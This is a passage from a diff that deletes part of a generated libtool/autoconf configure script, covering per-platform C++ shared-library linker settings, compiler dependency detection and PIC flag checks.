- archive_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- esac
- archive_cmds_need_lc_CXX=no
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
- whole_archive_flag_spec_CXX='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
- ;;
- pgCC*)
- # Portland Group C++ compiler
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
- whole_archive_flag_spec_CXX='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- ;;
- cxx*)
- # Compaq C++
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
-
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_CXX='-rpath $libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- esac
- ;;
- lynxos*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- m88k*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_CXX='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
- wlarc=
- hardcode_libdir_flag_spec_CXX='-R$libdir'
- hardcode_direct_CXX=yes
- hardcode_shlibpath_var_CXX=no
- fi
- # Workaround some broken pre-1.5 toolchains
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
- ;;
- openbsd2*)
- # C++ shared libraries are fairly broken
- ld_shlibs_CXX=no
- ;;
- openbsd*)
- hardcode_direct_CXX=yes
- hardcode_shlibpath_var_CXX=no
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
- export_dynamic_flag_spec_CXX='${wl}-E'
- whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- fi
- output_verbose_link_cmd='echo'
- ;;
- osf3*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs'
-
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- cxx*)
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- osf4* | osf5*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Archives containing C++ object files must be created using
- # the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -o $oldlib $oldobjs'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- cxx*)
- allow_undefined_flag_CXX=' -expect_unresolved \*'
- archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_CXX='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
- echo "-hidden">> $lib.exp~
- $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~
- $rm $lib.exp'
-
- hardcode_libdir_flag_spec_CXX='-rpath $libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- psos*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- lcc*)
- # Lucid
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- archive_cmds_need_lc_CXX=yes
- no_undefined_flag_CXX=' -zdefs'
- archive_cmds_CXX='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- hardcode_libdir_flag_spec_CXX='-R$libdir'
- hardcode_shlibpath_var_CXX=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The C++ compiler is used as linker so we must use $wl
- # flag to pass the commands to the underlying system
- # linker. We must also pass each convience library through
- # to the system linker between allextract/defaultextract.
- # The C++ compiler will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- whole_archive_flag_spec_CXX='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
- ;;
- esac
- link_all_deplibs_CXX=yes
-
- output_verbose_link_cmd='echo'
-
- # Archives containing C++ object files must be created using
- # "CC -xar", where "CC" is the Sun C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- old_archive_cmds_CXX='$CC -xar -o $oldlib $oldobjs'
- ;;
- gcx*)
- # Green Hills C++ Compiler
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-
- # The C++ compiler must be used to create the archive.
- old_archive_cmds_CXX='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
- ;;
- *)
- # GNU C++ compiler with Solaris linker
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
- if $CC --version | grep -v '^2\.7' > /dev/null; then
- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- else
- # g++ 2.7 appears to require `-G' NOT `-shared' on this
- # platform.
- archive_cmds_CXX='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-R $wl$libdir'
- fi
- ;;
- esac
- ;;
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*)
- no_undefined_flag_CXX='${wl}-z,text'
- archive_cmds_need_lc_CXX=no
- hardcode_shlibpath_var_CXX=no
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- archive_cmds_CXX='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- # For security reasons, it is highly recommended that you always
- # use absolute paths for naming shared libraries, and exclude the
- # DT_RUNPATH tag from executables and libraries. But doing so
- # requires that you compile everything twice, which is a pain.
- # So that behaviour is only enabled if SCOABSPATH is set to a
- # non-empty value in the environment. Most likely only useful for
- # creating official distributions of packages.
- # This is a hack until libtool officially supports absolute path
- # names for shared libraries.
- no_undefined_flag_CXX='${wl}-z,text'
- allow_undefined_flag_CXX='${wl}-z,nodefs'
- archive_cmds_need_lc_CXX=no
- hardcode_shlibpath_var_CXX=no
- hardcode_libdir_flag_spec_CXX='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_CXX=':'
- link_all_deplibs_CXX=yes
- export_dynamic_flag_spec_CXX='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- archive_cmds_CXX='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- vxworks*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
-$as_echo "$ld_shlibs_CXX" >&6; }
-test "$ld_shlibs_CXX" = no && can_build_shared=no
-
-GCC_CXX="$GXX"
-LD_CXX="$LD"
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-cat > conftest.$ac_ext <<EOF
-class Foo
-{
-public:
- Foo (void) { a = 0; }
-private:
- int a;
-};
-EOF
-
-if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- # Parse the compiler output and extract the necessary
- # objects, libraries and library flags.
-
- # Sentinel used to keep track of whether or not we are before
- # the conftest object file.
- pre_test_object_deps_done=no
-
- # The `*' in the case matches for architectures that use `case' in
- # $output_verbose_cmd can trigger glob expansion during the loop
- # eval without this substitution.
- output_verbose_link_cmd=`$echo "X$output_verbose_link_cmd" | $Xsed -e "$no_glob_subst"`
-
- for p in `eval $output_verbose_link_cmd`; do
- case $p in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
- # Remove the space.
- if test $p = "-L" \
- || test $p = "-R"; then
- prev=$p
- continue
- else
- prev=
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- case $p in
- -L* | -R*)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
- if test -z "$compiler_lib_search_path_CXX"; then
- compiler_lib_search_path_CXX="${prev}${p}"
- else
- compiler_lib_search_path_CXX="${compiler_lib_search_path_CXX} ${prev}${p}"
- fi
- ;;
- # The "-l" case would never come before the object being
- # linked, so don't bother handling this case.
- esac
- else
- if test -z "$postdeps_CXX"; then
- postdeps_CXX="${prev}${p}"
- else
- postdeps_CXX="${postdeps_CXX} ${prev}${p}"
- fi
- fi
- ;;
-
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
- if test "$p" = "conftest.$objext"; then
- pre_test_object_deps_done=yes
- continue
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- if test -z "$predep_objects_CXX"; then
- predep_objects_CXX="$p"
- else
- predep_objects_CXX="$predep_objects_CXX $p"
- fi
- else
- if test -z "$postdep_objects_CXX"; then
- postdep_objects_CXX="$p"
- else
- postdep_objects_CXX="$postdep_objects_CXX $p"
- fi
- fi
- ;;
-
- *) ;; # Ignore the rest.
-
- esac
- done
-
- # Clean up.
- rm -f a.out a.exe
-else
- echo "libtool.m4: error: problem compiling CXX test program"
-fi
-
-$rm -f confest.$objext
-
-# PORTME: override above test on systems where it is broken
-case $host_os in
-interix3*)
- # Interix 3.5 installs completely hosed .la files for C++, so rather than
- # hack all around it, let's just trust "g++" to DTRT.
- predep_objects_CXX=
- postdep_objects_CXX=
- postdeps_CXX=
- ;;
-
-solaris*)
- case $cc_basename in
- CC*)
- # Adding this requires a known-good setup of shared libraries for
- # Sun compiler versions before 5.6, else PIC objects from an old
- # archive will be linked into the output, leading to subtle bugs.
- postdeps_CXX='-lCstd -lCrun'
- ;;
- esac
- ;;
-esac
-
-
-case " $postdeps_CXX " in
-*" -lc "*) archive_cmds_need_lc_CXX=no ;;
-esac
-
-lt_prog_compiler_wl_CXX=
-lt_prog_compiler_pic_CXX=
-lt_prog_compiler_static_CXX=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_CXX='-Bstatic'
- fi
- ;;
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_CXX='-m68020 -resident32 -malways-restore-a4'
- ;;
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
- mingw* | os2* | pw32*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
- ;;
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_CXX='-fno-common'
- ;;
- *djgpp*)
- # DJGPP does not support shared libraries at all
- lt_prog_compiler_pic_CXX=
- ;;
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_CXX=-Kconform_pic
- fi
- ;;
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- ;;
- *)
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- esac
- ;;
- *)
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- esac
- else
- case $host_os in
- aix4* | aix5*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_CXX='-Bstatic'
- else
- lt_prog_compiler_static_CXX='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- chorus*)
- case $cc_basename in
- cxch68*)
- # Green Hills C++ Compiler
- # _LT_AC_TAGVAR(lt_prog_compiler_static, CXX)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
- ;;
- esac
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_CXX='-qnocommon'
- lt_prog_compiler_wl_CXX='-Wl,'
- ;;
- esac
- ;;
- dgux*)
- case $cc_basename in
- ec++*)
- lt_prog_compiler_pic_CXX='-KPIC'
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD uses GNU C++
- ;;
- hpux9* | hpux10* | hpux11*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
- if test "$host_cpu" != ia64; then
- lt_prog_compiler_pic_CXX='+Z'
- fi
- ;;
- aCC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_CXX='+Z'
- ;;
- esac
- ;;
- *)
- ;;
- esac
- ;;
- interix*)
- # This is c89, which is MS Visual C++ (no shared libs)
- # Anyone wants to do a port?
- ;;
- irix5* | irix6* | nonstopux*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='-non_shared'
- # CC pic flag -KPIC is the default.
- ;;
- *)
- ;;
- esac
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # KAI C++ Compiler
- lt_prog_compiler_wl_CXX='--backend -Wl,'
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- icpc* | ecpc*)
- # Intel C++
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-static'
- ;;
- pgCC*)
- # Portland Group C++ compiler.
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-fpic'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- cxx*)
- # Compaq C++
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- lynxos*)
- ;;
- m88k*)
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- lt_prog_compiler_pic_CXX='-W c,exportall'
- ;;
- *)
- ;;
- esac
- ;;
- netbsd*)
- ;;
- osf3* | osf4* | osf5*)
- case $cc_basename in
- KCC*)
- lt_prog_compiler_wl_CXX='--backend -Wl,'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- cxx*)
- # Digital/Compaq C++
- lt_prog_compiler_wl_CXX='-Wl,'
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- psos*)
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
- lt_prog_compiler_wl_CXX='-Qoption ld '
- ;;
- gcx*)
- # Green Hills C++ Compiler
- lt_prog_compiler_pic_CXX='-PIC'
- ;;
- *)
- ;;
- esac
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- lt_prog_compiler_pic_CXX='-pic'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- lcc*)
- # Lucid
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- lt_prog_compiler_pic_CXX='-KPIC'
- ;;
- *)
- ;;
- esac
- ;;
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- esac
- ;;
- vxworks*)
- ;;
- *)
- lt_prog_compiler_can_build_shared_CXX=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
-$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_CXX"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works... " >&6; }
-if ${lt_prog_compiler_pic_works_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_CXX=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_CXX -DPIC"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
